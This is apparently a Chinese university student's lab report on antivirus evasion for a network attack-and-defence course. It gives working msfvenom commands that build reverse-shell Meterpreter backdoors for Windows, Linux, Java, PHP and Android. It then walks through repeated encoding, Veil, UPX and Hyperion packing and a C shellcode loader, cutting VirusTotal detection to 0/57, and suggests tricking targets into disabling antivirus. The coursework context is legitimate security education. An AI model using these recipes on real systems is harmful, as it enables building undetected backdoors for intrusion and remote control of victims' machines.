20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp3 免杀原理与实践
20175304刘朝尹 2019-2020-3 《网络对抗技术》Exp2 后门原理与实践
1 基础知识
基础知识部分参考免杀原理与实践指导
1.1 恶意软件检测机制
1.1.1 基于特征码的检测
-一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
1.1.2 启发式恶意软件检测
启发式Heuristic,根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:
- 以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
1.1.3 基于行为的恶意软件检测
基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
1.2 免杀技术(Evading AV)综述
总体技术有:
-
改变特征码
- 只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 只有EXE
-
改变行为
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
-
留后门的思路是这样的:
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
- 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
2 实验步骤
2.0 测试基准识别率
在实验二中已经生成了后门程序20175304_backdoor.exe
,msfvenom直接生成meterpreter可执行文件,检出率为57/72,即72个扫描引擎中有57中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
2.1 正确使用msf编码器
Step1:输入下面的代码,生成met-encoded.exe
文件,并对后门程序进行编码(编码一次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.62.134 LPORT=5304 -f exe > met-encoded.exe
文件生成截图:
将文件复制到Windows中,杀毒软件会提示该文件是木马文件:
用Virustotal识别该文件,检出率为56/72,比没有编码前降低了一点,但这样文件还是能被查出
Step2:输入下面的代码,生成met-encoded10.exe
文件,并对后门程序进行编码(编码十次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.62.134 LPORT=5304 -f exe > met-encoded.exe
将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,并删除。
手动恢复文件后,用Virustotal识别该文件,检出率为57/72,不降反升了,说明就算多编码几次免杀效果并不会提升,这个办法没用。
原因主要有两个:
- AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,盯住这部分就可以了。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
2.2 msfvenom生成如jar之类的其他文件
2.2.1 生成Linux下的后门
操作方法与Windows后门类似,输入下面的代码生成木马文件。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_linux_backdoor
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名
赋予可执行的权限。执行时使用./程序名
即可。
Linux下的后门在Virustotal中识别不出来:
2.2.2 生成Java后门程序
Java程序在windows下和在linux下都可以生效执行。使用下面的代码生成木马文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_java_backdoor.jar
jar文件的检出率为35/74
2.2.3 生成PHP后门程序
使用下面的代码生成木马文件,把生成的php文件放到网站上面,当别人访问的时候就会执行。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_php_backdoor.php
php文件的检出率为3/73
2.2.4 生成Android后门程序
使用下面的代码生成木马文件,此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 x> 20175304_android_backdoor.apk
apk文件的检出率为26/74
2.3 veil
2.3.1 veil的安装过程及问题解决
输入sudo apt-get install veil
安装veil,由于是实验之前安装的,所以没有过程截图。
2.3.2 使用veil生成后门程序
step1:输入use evasion命令进入veil-evasion并输入use c/meterpreter/rev_tcp.py进入配置界面
Step2:输入set LHOST 192.168.62.134
和set LPORT 5304
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step3:输入generate
生成文件,根据提示输入文件名:20175304_veil_backdoor
,然后就能看到文件的存放目录了。
Step4:把生成的文件用Virustotal识别,检出率是55/72。
2.4 加壳工具
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
2.4.1 压缩壳UPX
输入upx 20175304_backdoor.exe -o 20175304_backdoor_upxed.exe
将文件复制到Windows后,杀毒软件立马查杀了该文件。
用Virustotal识别,检出率是54/72。
2.4.2 加密壳Hyperion
输入wine hyperion.exe -v 20175304_backdoor_upxed.exe 20175304_backdoor_upxed_Hyperion.exe
对文件加上加密壳。
用Virustotal识别,检出率是48/73。
2.5 使用C + shellcode编程
Step1:使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.134 LPORT=5304 -f c
生成一段shellcode。
Step2:创建一个文件callshellcode.c
,然后将unsigned char buf[]
赋值到其中。
Step3:输入i686-w64-mingw32-g++ callshellcode.c -o 20175304.exe
,将此文件编译为可执行文件。
Step4:用Virustotal识别,检出率是41/78。
2.6 使用其他课堂未介绍方法
Step1:输入sudo veil
之后再输入use evasion
进入免杀平台:
从上图可以看到输入list
可以查看可用的payloads,那么就输入list
查看一下:
可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。
Step2:输入use python/meterpreter/rev_tcp.py
进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。
Step3:输入set LHOST 192.168.62.134
和set LPORT 5304
,分别设置反弹连接的IP地址和端口号。可以输入options
查看设置后的结果
Step4:输入generate
生成文件,根据提示输入文件名:20175304_veil_backdoor
2
Step5:生成文件时,系统会问如何创建负载可执行文件?
,我选的是2 Py2Exe
,然后就能看到文件的存放目录了。
Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/57。
2.7 通过组合应用各种技术实现恶意代码免杀
在2.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。
在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。
- 电脑环境:Windows7
- 杀毒软件:腾讯电脑管家
- 杀软版本:13.5.20513.228
- 查杀时间:2020.03.27
2.8 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 电脑环境:Windows7
- 杀毒软件:腾讯电脑管家
- 杀软版本:13.5.20513.228
- 查杀时间:2020.03.27
3 实验中遇到的问题
3.1加加密壳时,找不到/usr/share/veil-evasion/tools/hyperion
目录
解决方法:参考博客,具体操作如下:
- 首先安装mingw-w64:
apt-get install mingw-w64
- 获取zip文件:下载链接
- 解压缩文件:
unzip Hyperion-2.2.zip
- 将Makefile文件中第一行改为
CC =i686-w64-mingw32-gcc
make
- make结束后就能看到hyperion.exe文件了
3.2使用virustotal时,经常卡顿,无法退出。
解决方法:使用简易版本,使用流畅。
4 问题回答
4.1 杀软是如何检测出恶意代码的?
可以分为以下两种:
- 根据特征码检测:恶意代码都有一些特征数据存储在AV厂商的特征库中。如果一个文件被查杀软件检测出他的某些特征数据是特征库中的特征数据,那么这个文件就被认为包含恶意代码。
- 启发式检测:就是如果一个软件的行为看起来了像个恶意软件,那我们就把它当成一个恶意软件。
4.2 免杀是做什么?
不被杀软检测出来,渗透测试中需要使用的技术。
4.3 免杀的基本方法有哪些?
从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有三大类:
-
非常规方法:纯手工打造、社工类攻击。
-
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
-
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
4.4 开启杀软能绝对防止电脑中恶意代码吗?
不能,通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。
5 实验体会
本次实验操作过程比较漫长。做免杀操作的时候发现之前几次实验的内容还是不太熟悉。希望通过之后老师的讲解和自己多动手实践逐步加深理解和记忆。